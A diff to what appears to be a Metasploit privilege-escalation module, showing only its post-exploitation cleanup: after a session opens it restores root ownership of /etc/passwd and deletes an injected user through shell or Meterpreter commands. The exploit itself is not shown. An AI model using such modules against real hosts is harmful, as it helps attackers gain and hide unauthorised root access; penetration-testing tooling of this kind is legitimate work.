@@ -174,16 +174,65 @@ def exploit
174
174
end
175
175
176
176
def on_new_session ( session )
177
- # Reinstate /etc/passwd ownership
178
- session . shell_command_token "chown root:root #{ @chown_file } "
177
+ if session . type . to_s . eql? 'meterpreter'
178
+ session . core . use 'stdapi' unless session . ext . aliases . include? 'stdapi'
179
+ end
179
180
180
- # Remove new user
181
- session . shell_command_token "sed -i 's/^#{ @username } .*$//g' #{ @chown_file } "
182
- passwd = session . shell_command_token "grep #{ @username } #{ @chown_file } "
183
- if passwd . include? @username
184
- print_warning "Could not remove user '#{ @username } ' from #{ @chown_file } "
181
+ # Reinstate /etc/passwd root ownership and remove new user
182
+ root_owns_passwd = false
183
+ new_user_removed = false
184
+
185
+ if session . type . to_s . eql? 'meterpreter'
186
+ # Reinstate /etc/passwd root ownership
187
+ session . sys . process . execute '/bin/sh' , "-c \" chown root:root #{ @chown_file } \" "
188
+
189
+ # Remove new user
190
+ session . sys . process . execute '/bin/sh' , "-c \" sed -i 's/^#{ @username } :.*$//g' #{ @chown_file } \" "
191
+
192
+ # Wait for clean up
193
+ Rex . sleep 5
194
+
195
+ # Check root ownership
196
+ passwd_stat = session . fs . file . stat ( @chown_file ) . stathash
197
+ if passwd_stat [ 'st_uid' ] == 0 && passwd_stat [ 'st_gid' ] == 0
198
+ root_owns_passwd = true
199
+ end
200
+
201
+ # Check for new user in /etc/passwd
202
+ passwd_contents = session . fs . file . open ( @chown_file ) . read . to_s
203
+ unless passwd_contents . include? "#{ @username } :"
204
+ new_user_removed = true
205
+ end
206
+ elsif session . type . to_s . eql? 'shell'
207
+ # Reinstate /etc/passwd root ownership
208
+ session . shell_command_token "chown root:root #{ @chown_file } "
209
+
210
+ # Remove new user
211
+ session . shell_command_token "sed -i 's/^#{ @username } :.*$//g' #{ @chown_file } "
212
+
213
+ # Check root ownership
214
+ passwd_owner = session . shell_command_token "ls -l #{ @chown_file } "
215
+ if passwd_owner . to_s . include? 'root'
216
+ root_owns_passwd = true
217
+ end
218
+
219
+ # Check for new user in /etc/passwd
220
+ passwd_user = session . shell_command_token "grep '#{ @username } :' #{ @chown_file } "
221
+ unless passwd_user . to_s . include? "#{ @username } :"
222
+ new_user_removed = true
223
+ end
224
+ end
225
+
226
+ unless root_owns_passwd
227
+ print_warning "Could not reinstate root ownership of #{ @chown_file } "
185
228
end
186
229
230
+ unless new_user_removed
231
+ print_warning "Could not remove user '#{ @username } ' from #{ @chown_file } "
232
+ end
233
+ rescue => e
234
+ print_error "Error during cleanup: #{ e . message } "
235
+ ensure
187
236
super
188
237
end
189
238
end
0 commit comments